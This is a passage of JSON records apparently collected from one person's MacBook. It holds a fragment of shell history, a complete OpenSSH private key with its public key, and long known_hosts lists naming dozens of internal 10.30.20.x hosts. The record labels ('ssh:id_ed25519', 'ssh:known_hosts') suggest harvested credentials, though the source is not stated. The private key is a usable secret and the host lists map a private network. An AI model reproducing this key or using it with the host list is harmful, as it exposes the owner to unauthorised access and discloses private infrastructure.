--yui\nhermes --yolo --tui\nhermes --yolo --tui\nollama list\nollama run qwen3.6:27b-mlx\nthe main goal is data extraction from my daily life and input into my calanders and all my other services\nollama run qwen3.6:27b-mlx\nollama run lfm2\n hermes update\nhermes sessions optimize-storage\nbrew install flashrom\\\n\n","timestamp":1785816388232},{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"ssh:id_ed25519","data":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDma86O6YqF2h6DbwFLgI4llb6d3a5q3fZiOMqRP3vpVQAAAKBLmzLNS5sy\nzQAAAAtzc2gtZWQyNTUxOQAAACDma86O6YqF2h6DbwFLgI4llb6d3a5q3fZiOMqRP3vpVQ\nAAAEAnewJFepy0kZ1UM0jp1GMVeGwSZ3RrfiwIac2LnsFh8uZrzo7pioXaHoNvAUuAjiWV\nvp3drmrd9mI4ypE/e+lVAAAAFmhlcm1lcy1tYWNib29rLW00LTIwMjYBAgMEBQYH\n-----END OPENSSH PRIVATE KEY-----\n","timestamp":1785816388232},{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"ssh:known_hosts.old","data":"10.30.20.177 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGGdeTaANTtkViLPudeaSTFtjVsT3MpJEwBCIZGcoKdH\n10.30.20.177 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmdRn5O05J6l7eMUgb9e5gwqXG2azhNWr7+o9xAJeJu2Jvii3NoQJlR2+Z+fMYMrBnqak8C+43nAC+q9JXojzsL2LHmHWvS+gkj85YewJQMpoJMk8XDbW5Gx9NZ+j7NrbVWwnCmh4wKnSPU5zZjwPwm7NSKEBG/YCWbzUfcInFsI/jV6L581xV7V64X96ny1CZt5jJFYcF42fgwKlzLarILnkl+u4o04PwN1ptGpZ3K+nUbEY83wzUT7xvn4bX8s2YapnrGmp3Rh7vijB8AMS92ha66bdi2NkNsHDyEvahpTepeFW5RdlV0igjaf4QPKHs9eKWUe0oh4fi/Gh+7Nr3IWqVTO7K2BDUaOFW1YSqhYr6qvETwJPriTKAiLLJ9yoiTwpiE6+V97yTZTqLJ5eBye3h65M2xJczeSn55vjmfw+e58s98xGCE8UbijzOY8HjVelJ+wPpFI4fXfg4t2PJsXotWp+B8dv9Nl7rvthGFiHDcvNPiJnoJcNVEHPQAzs=\n10.30.20.177 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNXTsiO9SW68FHjLe1ZsTS3bZhO+/ZYZOJ+VTsQFYL9Y/BlSibZI8p84/ZzHAsBG+lwetS+OkDj8mn6eVATGvZ4=\n10.30.20.107 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJJbLooWA4RF1J6S5gktLGaSwpJe/IYIBTFg6YdxdDSc\n10.30.20.107 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPXm+JZuuQvVwc3pSbclvcEdyF3Kgz/65+6SupAcDe+AN1hczk8n0YxPFYi9APBPqfwrP5L7ueKU+cdx2ay/1I2xwEpFKJEwY8gbxBVbiDKDQYg9vPSOcttK1YCBC9z48fnmHsZuacTXv41n7XY7PQJJ85vs7OTRELFJMm/9nq1ZCMo6zCS27noDjpH2+ORP8hiJMD6FSvIwLJwPP0VzUJZ+jzkQXa6eFehABKkwxRMTeUCVJ4rokWBp4Ho3iXLu0+1uOwZTKTZ3UeQoNJra4cRjqr7mJTYBS9ofiRzMRcmASLUaeSAz15HDmm1HkprQUwCsMzOhcIx3jI+RtZp9KPMntL0yFBOsB+aRebrYWItPiZjplIkRqZLxyFla8gxuXs2vTtcbgVFPUMMbcDLDUxwJB7Rw03H1TJl+Mvjw0zh91N8xRn8Ul7OEFJODr5nXRSixSsmjbdNHkYRB2bS2qfE8oIiMV0bsALsUKEPFvXfhJtn1xGVnVgqZrtOTAdM5U=\n10.30.20.107 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBUYSyOJRGbsbBnx3ELar5t552HiR2n2W9I1Uzfdk6MFlBiFS37G6RDCQbYf4xNrXkk302+nAImTJbmRyMQ+PA=\n10.30.20.158 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINAufmlCsTTdAuYxKvOBzOU8zsIeuBTy6dlQmjPGFBwP\n10.30.20.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB3U0Oy766fY+xN7537PeFcb79MC8pkcWVJRwKbPmMz+\n10.30.20.158 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBtwTNaqn6isQZ1JDfgLpPobQmTZLOA8m1tPZX94PyyfGfp+9GaDmJhvK6x9MRITYXdx2O1wvbIV0cCUIcqGP0=\n10.30.20.66 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpsOKh6Y5qT+jJXV7GZ+PO+hosM7ALHbXUSZnrGq83o0jd6tp/C2jdxapmQIfrpQAgbmydjhasXa4u9mBfIdpqZDDbce7AH8M4rLz+2pw7HMXBlPJK7Cusi4YQcFLEH1y00xN+IXDHtNX6tc3a2/S+//yIfNhwrDQDE0T7Yp4m8C701NVnqw1Txtp6JnZQd43IExb5pIaMrZ3gbiBwvMn/fE8icRzinPIUlgTT1LhPLGLHJ0bbpw3HkJMtDUMURyjZOqoOYd6xg01LyU6DLpyvQfvrebOU/Wd8e1H9y76aB3Pn91sPqDTLfLX9zwGNLjiiAdASm0nHNJNvADMyyT74bz42U/CN5pd7/ZWEn4oHXoAq2njCargJHwyVVtvGpUcS4SUKUhLsvTufBdnZPntl+Zo36tXlim237Jdg9PKLEdcGtvW9WzmBup7BsmlvgY3i5AxeAMZ+Va/qMWvf29TPgdIyO1k/mDXyAZ7Ezq8RlrOlbY/laR8Q5ZiOy8ZM/Ks=\n10.30.20.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFFlIjrX4WHwgr8dbk3mzHSoRTHNDocd70FZygTLyt3Pvc2IsJWQY4ohPJszMv0cqDyrOh+RbjQr40bVsKp8jNQ=\n10.30.20.216 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMockXzKH6LUHx7t8X4X6VJEXoE/vBTGnoL616HqRTPg\n10.30.20.216 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEBl3vF3c6xfpRNA44vp5uVhb0kUrWB86wALnLzFEAkKgNKZBnZzF5PWRP4aZO3XFvp6n3u/X3vP+ghiR8SGUqg=\n10.30.20.120 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.120 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Fx3eSUDvCiQQ5PMUaDbncMRBvYHA+ZKkyLoRBDGX4KX3XdVzdv5u+/JLveimsg1ILwPxj29J+ZgIkt3uZ2JOAHZJL02D5y3nQ0qEI1Iu4yTxMulOLA+ecAu1qzh/dUScvJmV8DFkK+KOBCquVSyb7+y6PkkqbfKoiZal5E7hyZM5yhEHZYdnxfVPKSp//S+3w45buYpBirfYFir2fQqVy/BZzEMImZeZbqDgVLFl8FkXcVPhOkhGHmP3hiKIg8PnimjrehFBm5/qzigEj07+60f4Bmp9hn3jaaHf7ppZE342Pb1+c5XFicAaXsX5spMf9Dqkhne/bX532PY/Jr5ABpS0sAV94tq9VmkswTPOvJiG2ttwomh/LX+1ArdPgn5ws15sJrCt4CRMGjoYVeRJzhpSUPI0PDkfxzaTVcyaS0OeuKV69VAW72Rb9lulGCHTO1p/rJtyaZl30Z3tAsWGyZ4WH77xYj1gGUB6OyvcGEJy211F6LwNtDxxpC5cpAs=\n10.30.20.120 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBiIU9rinwL8XABkLvykYGA5SXMSaBkOOU+QSSlN1A4TodUqA5o/g/J/rYsJCUNF7NidKggKvP9cRkEtwy6O7oE=\n10.30.20.88 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMvi5kUJHNQCvrzV3F4ZQKpzSxjwJ7a/PK99QOrXWTxa\n10.30.20.43 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN/bTwJKMJZpSsSh/czo4CNHMItJIYMMouBvBCwtmY8m\n10.30.20.55 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.150 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.176 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP32UjZV71/erNsc+fh+enCKze2Cs6/+6zL4Gzmai1A3\n10.30.20.201 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.204 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIlNfpVPWNlKAfvskvqDpatCkCdILDx08opy75esmPbL\n10.30.20.223 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.233 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+Jt8ZIRttPOdHliyDM/205PnE02mXF/vGvqtPePAVX\n10.30.20.248 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIObBjfO0Zm8gXOnH6KxDrQy3I0h3hnX+j9pcViNRdADT\n10.30.20.35 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.38 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.90 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbgOQw3Uad2t/+T3S5jJGK5+cp9tYQoZKOHaHUjcVtl\n10.30.20.92 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.31 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.85 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEavuWEueO/Nq05svXjmIiE4ZTO65oWs8vXwISZIrcne\n10.30.20.85 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH1M7Dy4IhEZjxQOPpWXweQ3E6M9ZaW/fwlbSwJbxWag3Su5NJBa2K7QTlXbbzz444WOYlVm4AXdqPQrnb56Ucd3is6BTLu4XB/mJzgS/7WOJ4JrGNDgYg+NMoS2Si+ktrI0LiEGh9FiAa2OcOrNbRL/VD9pjMHo+WQULJ3jqOP38d6XThHPdi5RjcXl6P7hp5ckGLiX/sYaTUs4+YevQmJQuP0NbWYpPT6LjE1XnffN/7ztgeN/3smMNhJ1rnE+FNJPZIGraU1FgqLMugpG+k38j0xljrKYGCyRu3BpGiY5HdM1BEbRuh8aIqkIhJoEh9fvg+KXTy+EjkMpEd8fa/3BIGtWFXFmqhVrVX5Jiws+yKfp5gxN0jGZit5fIO3kCs+Z5vC3sj1AZDFDrvEkSfw0duIKsgKVUKR1Sgl6siPMKEm3XcGIusbTxYlF3JlQYasZMUqxpjzC6TZK8U8cSPh1iPL2xgxhK2ujqNcT2gnN9xipRD+leanz7U4lHy7t8=\n10.30.20.85 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNiIIuwiLvLc81EsLCiaCY6NDV1xX+FtWCN2+Xej+WmO5JnnCesn13Xs6LfRYrbNLifqMHziqOx2XiX0s+dv9Fg=\n10.30.20.89 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.32 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.82 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAQ1Ggm/76MP0NXAWb9394e4Tfu7EkTFyMAEOSuEmLFp\n10.30.20.82 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDBpHJOmysJXTkLzZQZqaK+qqsrAqfwV6OisPoRDkZPcfYDg1VJbF19FC8Dpzh4DOjgarrJW1XZy+LyuEHQ0Ry4ikUGVKN+OqqY6GPvM7mPPsnR8k1x8rKUnCOcQzoEkI5TZ5DPk2op+IqVnlqj+IQD1JV5Xw2eSm3eXoCTSa3WByiU9HT3ltVEDmUjRghl3yFy+ByT2sd8ScRa9iQp579RYW77vuMjOch90XQ8ocxl/aNSImB+23VXQpOyT63Mn+92tBkXEyui6fXqtDQbCozTOerISdCbYPglV3F9Ftk1HDo1D45KqWmxZL9greKyVJWMRWwOuDgOSoaAONSb8ptr/xbPu+mn1g9pUECNmrrey5G5ELtJYY1z1itXg6UuhN4kRU6129WHpDjUEwWI2jxWe2wvpWJtoQ2BLCkg1Z2KrKynqLT2s2DIBJqsVuzgZZvg3w5JCkd3gDfs6+g/NsZI9/w2lbGNYkc5rR0i85cSscXsj66Jni9EkL8b7eaxd8=\n10.30.20.82 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHis24IHkTfPezjER/a8TlZVBZ2/iR0G66Kr/QGFAmpgvOV//j+CL/GEH6y2ybICU+ATbnv5zCvL1+MDqauSC6E=\n10.30.20.81 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH67olZWSm6UvC02n2giV/20V6mAipuLy8exVv+PxSJg\n10.30.20.81 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsiqriavJ6jOCmUHRrYeHRtbUFJ9r2jtbnbS+dg77oFeN2i3G9j9G7EKhlmXIeE45kFRGiEuhZlFc2/0QZ63J8tgO8XDMl+Oo8eCy7YDP8Le+AaAXKgz7MgB6EtQtThVyS4c2sx/iz0rU38KQcFmOPyfTZj3gawpjRv36SWzj77VE5cgaSRVztUruTl2P8p7jh2WYY9qEvzYNHBJ4LM70IgVNX1AzKIfznyxBDLKNOGOXQQ0ks+lM61BXbQBHzfqqcxCaNH2PVXPKnqLKu/7sC4n2xIMxqomXJ3N2f6sYXOZqniVte9POt8q4Q327tmN6TdN9RoawAOkc4VANqtzhoQZ5VbzRZHvOjiuISikBFwmyQHQYtlA1K9pn3HrA9Q2hDqtTI8sDAut3Ipz6j6mR2sk8+pzz3ygDdVrof5hTLbN59yaV8UsW5wVsrDEJYwI48gRmS7HOBUdlcbLbkzvg6MBQxvWC8YCmecJP6Imt+P9wtgtwM02Ugj2/9P1FqVSU=\n10.30.20.81 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJUOoMG24cYWvKzivihLgw4ieL6lNGk94YTajiJ4xShwyR6JkkMFxd6YJrQRymxeT3RI5iR/d0iBjvOWQ14TIlY=\n10.30.20.187 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.194 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILnSlq6Bu6t8MtKWo79Zgo1v+3yBX5lmoAFqmJRUbWfQ\n10.30.20.194 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCNmVKhnsDxicgB/T3sdlVo90xUyOpSuduiDq1AGLxCbyF0eesQzTxD2NWs8G2TQ4Pe0gsXZuFkUCA3erWPt5p1qhm9XSswjCW+pRZ2FE5M26HG6QT1gRiZ0KcxqKLniFD5/MgJNfCiXXH7LgwvU9eMEm1PZ6eozYN1AnyIVytq0Z0uLxrINqmBjrugd1pUhpZQNjEZ+nX8IpM4dlGl7NnNRadpAohKX9Op8T1fug0onq8FNqb4UkAxpxPr3tjkbJSvGYa9XQHZb6jgGZMM0YjQV+T5MsqkgUXmb8+pimq0nuXXuNL1Pf3WNz7bBraRUEtCINawOS1yQ5b+oYVLJEzJGioDcHbRz7PwnYqV2rHOs9B9lFHJfeC1jC/tVfDRxrVRY1qPKhkWR/LBfrWOQORJ/BfdYywbDESUHoH0Zo8GaClrNpkq7z3ZFnqkC3adWkcNKDwOgjpxry4v3Qgs9NgT5Wbklruyl6NsflYAR3ze+XJlcP4lbReH7HI6N8A4w2M=\n10.30.20.194 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGbUV1XPCwsBrTDKnVycmCaliB34b/goi+O1sLkA87I3W2BRFzYPEej0+J6EqxUJUogjvRSxONQv4hZ+GpvsKrs=\n10.30.20.49 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt9B4EpvEPRaw6uZpBbWmn+1rIVpkEzOYXrFIcfdn7UH84IGKwLd9oic6LVD75f2JQhMlk+4/tQKEYzPdQUI9c2AD3Yp/UyTLgGh9FcvgUCIw0owU35Xbbp0yIq3sUC79jOPDo4268AgFDWwe98GCqmFy9osVqncb1GbtBViT+x5whcE3+nYSNtxzzF3PNB7Lb4yJHki1SYKFJ9W0fjQdvTkd/Ce0jEqyfdiGN/U49n3qdo6vupDIw77gnQhemAnj/GhtTwAP4qp5dcHhyuSWwTAcA3qpJAd594sZALqGqUuQjh+uYSPxjP/WPSN28tmsL/4xhPDEjJ7SEesTt5xzLQ==\n10.30.20.186 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJDFwKEU2IA+DmRJbdos66Bvm+TJriDRcd1SIHQlz7oQ\n10.30.20.186 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgtaybkSlu3yODOWk4nveNnQdN/ozDR/cxXdO0pttgdmQOxYAatAH0gEJ99juLcqVxGLBxsl4zYwKpJW7D/4f+W2jV5D/9E/QJO6gGHhj03JEm1ygAvr3Dmi4qmj0+GJf4I0bzZ+pQ8mL/F4NoKiXKgHxvKDwHDOVsj32MMydPNs+L/F7JepYuH3Fdq58XVO13jYRBNXxvoi+LC2LJXO2Sl6EWeNCetVjO3gNsNQHrQEgaFGrRL+7HnXkPqOUxFVOCIR1DlNfS1oS4osyNkeDb4FXI7o3nR+ov1LAippahKird2jc8pEkynPDKguhKbIPt6EpKDqIUYJ4KhV1REJ+Sw8SRViu5eDu8h2tubMlvNFCk9gSmYrxMUMTZwXi92DgAi59wszOL5IK1H4AqndYi4kONSAsIhzHrK2GawBuBVqdCvVpfd3j8zLZ7/itChlnDiXXzqzwEu+BreTiaahi3/i93pwDezDy9X5L4OncMDwkPQMU3/10GB/naPAH1FF8=\n10.30.20.186 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAI","timestamp":1785816388232},{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"ssh:id_ed25519.pub","data":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOZrzo7pioXaHoNvAUuAjiWVvp3drmrd9mI4ypE/e+lV hermes-macbook-m4-2026\n","timestamp":1785816388232},{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"ssh:known_hosts","data":"10.30.20.177 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGGdeTaANTtkViLPudeaSTFtjVsT3MpJEwBCIZGcoKdH\n10.30.20.177 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmdRn5O05J6l7eMUgb9e5gwqXG2azhNWr7+o9xAJeJu2Jvii3NoQJlR2+Z+fMYMrBnqak8C+43nAC+q9JXojzsL2LHmHWvS+gkj85YewJQMpoJMk8XDbW5Gx9NZ+j7NrbVWwnCmh4wKnSPU5zZjwPwm7NSKEBG/YCWbzUfcInFsI/jV6L581xV7V64X96ny1CZt5jJFYcF42fgwKlzLarILnkl+u4o04PwN1ptGpZ3K+nUbEY83wzUT7xvn4bX8s2YapnrGmp3Rh7vijB8AMS92ha66bdi2NkNsHDyEvahpTepeFW5RdlV0igjaf4QPKHs9eKWUe0oh4fi/Gh+7Nr3IWqVTO7K2BDUaOFW1YSqhYr6qvETwJPriTKAiLLJ9yoiTwpiE6+V97yTZTqLJ5eBye3h65M2xJczeSn55vjmfw+e58s98xGCE8UbijzOY8HjVelJ+wPpFI4fXfg4t2PJsXotWp+B8dv9Nl7rvthGFiHDcvNPiJnoJcNVEHPQAzs=\n10.30.20.177 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNXTsiO9SW68FHjLe1ZsTS3bZhO+/ZYZOJ+VTsQFYL9Y/BlSibZI8p84/ZzHAsBG+lwetS+OkDj8mn6eVATGvZ4=\n10.30.20.107 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJJbLooWA4RF1J6S5gktLGaSwpJe/IYIBTFg6YdxdDSc\n10.30.20.107 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPXm+JZuuQvVwc3pSbclvcEdyF3Kgz/65+6SupAcDe+AN1hczk8n0YxPFYi9APBPqfwrP5L7ueKU+cdx2ay/1I2xwEpFKJEwY8gbxBVbiDKDQYg9vPSOcttK1YCBC9z48fnmHsZuacTXv41n7XY7PQJJ85vs7OTRELFJMm/9nq1ZCMo6zCS27noDjpH2+ORP8hiJMD6FSvIwLJwPP0VzUJZ+jzkQXa6eFehABKkwxRMTeUCVJ4rokWBp4Ho3iXLu0+1uOwZTKTZ3UeQoNJra4cRjqr7mJTYBS9ofiRzMRcmASLUaeSAz15HDmm1HkprQUwCsMzOhcIx3jI+RtZp9KPMntL0yFBOsB+aRebrYWItPiZjplIkRqZLxyFla8gxuXs2vTtcbgVFPUMMbcDLDUxwJB7Rw03H1TJl+Mvjw0zh91N8xRn8Ul7OEFJODr5nXRSixSsmjbdNHkYRB2bS2qfE8oIiMV0bsALsUKEPFvXfhJtn1xGVnVgqZrtOTAdM5U=\n10.30.20.107 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBUYSyOJRGbsbBnx3ELar5t552HiR2n2W9I1Uzfdk6MFlBiFS37G6RDCQbYf4xNrXkk302+nAImTJbmRyMQ+PA=\n10.30.20.158 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINAufmlCsTTdAuYxKvOBzOU8zsIeuBTy6dlQmjPGFBwP\n10.30.20.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB3U0Oy766fY+xN7537PeFcb79MC8pkcWVJRwKbPmMz+\n10.30.20.158 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBtwTNaqn6isQZ1JDfgLpPobQmTZLOA8m1tPZX94PyyfGfp+9GaDmJhvK6x9MRITYXdx2O1wvbIV0cCUIcqGP0=\n10.30.20.66 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpsOKh6Y5qT+jJXV7GZ+PO+hosM7ALHbXUSZnrGq83o0jd6tp/C2jdxapmQIfrpQAgbmydjhasXa4u9mBfIdpqZDDbce7AH8M4rLz+2pw7HMXBlPJK7Cusi4YQcFLEH1y00xN+IXDHtNX6tc3a2/S+//yIfNhwrDQDE0T7Yp4m8C701NVnqw1Txtp6JnZQd43IExb5pIaMrZ3gbiBwvMn/fE8icRzinPIUlgTT1LhPLGLHJ0bbpw3HkJMtDUMURyjZOqoOYd6xg01LyU6DLpyvQfvrebOU/Wd8e1H9y76aB3Pn91sPqDTLfLX9zwGNLjiiAdASm0nHNJNvADMyyT74bz42U/CN5pd7/ZWEn4oHXoAq2njCargJHwyVVtvGpUcS4SUKUhLsvTufBdnZPntl+Zo36tXlim237Jdg9PKLEdcGtvW9WzmBup7BsmlvgY3i5AxeAMZ+Va/qMWvf29TPgdIyO1k/mDXyAZ7Ezq8RlrOlbY/laR8Q5ZiOy8ZM/Ks=\n10.30.20.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFFlIjrX4WHwgr8dbk3mzHSoRTHNDocd70FZygTLyt3Pvc2IsJWQY4ohPJszMv0cqDyrOh+RbjQr40bVsKp8jNQ=\n10.30.20.216 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMockXzKH6LUHx7t8X4X6VJEXoE/vBTGnoL616HqRTPg\n10.30.20.216 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEBl3vF3c6xfpRNA44vp5uVhb0kUrWB86wALnLzFEAkKgNKZBnZzF5PWRP4aZO3XFvp6n3u/X3vP+ghiR8SGUqg=\n10.30.20.120 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.120 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Fx3eSUDvCiQQ5PMUaDbncMRBvYHA+ZKkyLoRBDGX4KX3XdVzdv5u+/JLveimsg1ILwPxj29J+ZgIkt3uZ2JOAHZJL02D5y3nQ0qEI1Iu4yTxMulOLA+ecAu1qzh/dUScvJmV8DFkK+KOBCquVSyb7+y6PkkqbfKoiZal5E7hyZM5yhEHZYdnxfVPKSp//S+3w45buYpBirfYFir2fQqVy/BZzEMImZeZbqDgVLFl8FkXcVPhOkhGHmP3hiKIg8PnimjrehFBm5/qzigEj07+60f4Bmp9hn3jaaHf7ppZE342Pb1+c5XFicAaXsX5spMf9Dqkhne/bX532PY/Jr5ABpS0sAV94tq9VmkswTPOvJiG2ttwomh/LX+1ArdPgn5ws15sJrCt4CRMGjoYVeRJzhpSUPI0PDkfxzaTVcyaS0OeuKV69VAW72Rb9lulGCHTO1p/rJtyaZl30Z3tAsWGyZ4WH77xYj1gGUB6OyvcGEJy211F6LwNtDxxpC5cpAs=\n10.30.20.120 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBiIU9rinwL8XABkLvykYGA5SXMSaBkOOU+QSSlN1A4TodUqA5o/g/J/rYsJCUNF7NidKggKvP9cRkEtwy6O7oE=\n10.30.20.88 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMvi5kUJHNQCvrzV3F4ZQKpzSxjwJ7a/PK99QOrXWTxa\n10.30.20.43 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN/bTwJKMJZpSsSh/czo4CNHMItJIYMMouBvBCwtmY8m\n10.30.20.55 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.150 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.176 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP32UjZV71/erNsc+fh+enCKze2Cs6/+6zL4Gzmai1A3\n10.30.20.201 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.204 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIlNfpVPWNlKAfvskvqDpatCkCdILDx08opy75esmPbL\n10.30.20.223 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.233 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+Jt8ZIRttPOdHliyDM/205PnE02mXF/vGvqtPePAVX\n10.30.20.248 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIObBjfO0Zm8gXOnH6KxDrQy3I0h3hnX+j9pcViNRdADT\n10.30.20.35 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.38 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.90 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbgOQw3Uad2t/+T3S5jJGK5+cp9tYQoZKOHaHUjcVtl\n10.30.20.92 ssh-ed25519 